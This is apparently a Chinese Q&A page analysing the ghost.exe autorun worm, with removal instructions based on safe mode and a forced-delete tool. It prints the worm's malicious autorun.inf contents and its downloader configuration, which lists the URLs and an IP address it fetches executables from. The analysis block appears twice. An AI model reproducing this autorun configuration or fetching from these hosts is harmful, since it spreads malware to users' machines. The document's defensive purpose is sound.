UC知道autorun.inf ghost.exe
来源：百度知道 编辑：UC知道 时间：2024/05/17 04:19:21
conime.exe autorun.inf ghost.exe
运行ghost.exe 后..
生成
ghost.exe.bat(删除自身)
C:\WINDOWS\system\conime.exe
C:\Program Files\WinRAR\WinRAR.exe.tmp
每个盘符下释放(c d e f g h j k )
autorun.inf
ghost.exe
autorun.inf 文件内容
[AutoRun]
OPEN=ghost.exe
shellexecute=ghost.exe
shell\打开(&O)\command=ghost.exe
连入 http://www.dj916.com/ie.txt 下载..
ie.txt 内容
[main]
服务文件更新=5
服务文件地址=http://www.86dy.net/c123.exe
下载者是否更新=4
下载个数=7
文件1=http://222.220.16.185/data6/jwm.exe
更新1=6
文件2=http://222.220.16.185/data6/wol.exe
更新2=6
运行ghost.exe 后..
生成
ghost.exe.bat(删除自身)
C:\WINDOWS\system\conime.exe
C:\Program Files\WinRAR\WinRAR.exe.tmp
每个盘符下释放(c d e f g h j k )
autorun.inf
ghost.exe
autorun.inf 文件内容
[AutoRun]
OPEN=ghost.exe
shellexecute=ghost.exe
shell\打开(&O)\command=ghost.exe
连入 http://www.dj916.com/ie.txt 下载..
ie.txt 内容
[main]
服务文件更新=5
服务文件地址=http://www.86dy.net/c123.exe
下载者是否更新=4
下载个数=7
文件1=http://222.220.16.185/data6/jwm.exe
更新1=6
文件2=http://222.220.16.185/data6/wol.exe
更新2=6
在完成如下的操作前不要进行任何双击磁盘打开的操作。下面说的工具下载后放到桌面上
重启计算机 然后再进入安全模式执行如下的操作
--------------------------------------------------------------
以下的操作都要求安全模式下进行。
[安全模式？重启电脑时按住F8 选择进入安全模式]
用强制删除工具 PowerRMV 下载地址:http://post.baidu.com/f?kz=158203765
分别填入下面的文件（包括完整的路径） ，勾选“抑止杀灭对象再次生成”，点杀灭
C:\autorun.inf
C:\ghost.exe
D:\autorun.inf
D:\ghost.exe
E:\autorun.inf
E:\ghost.exe
F:\autorun.inf
F:\ghost.exe
如果有G盘依次类推。。。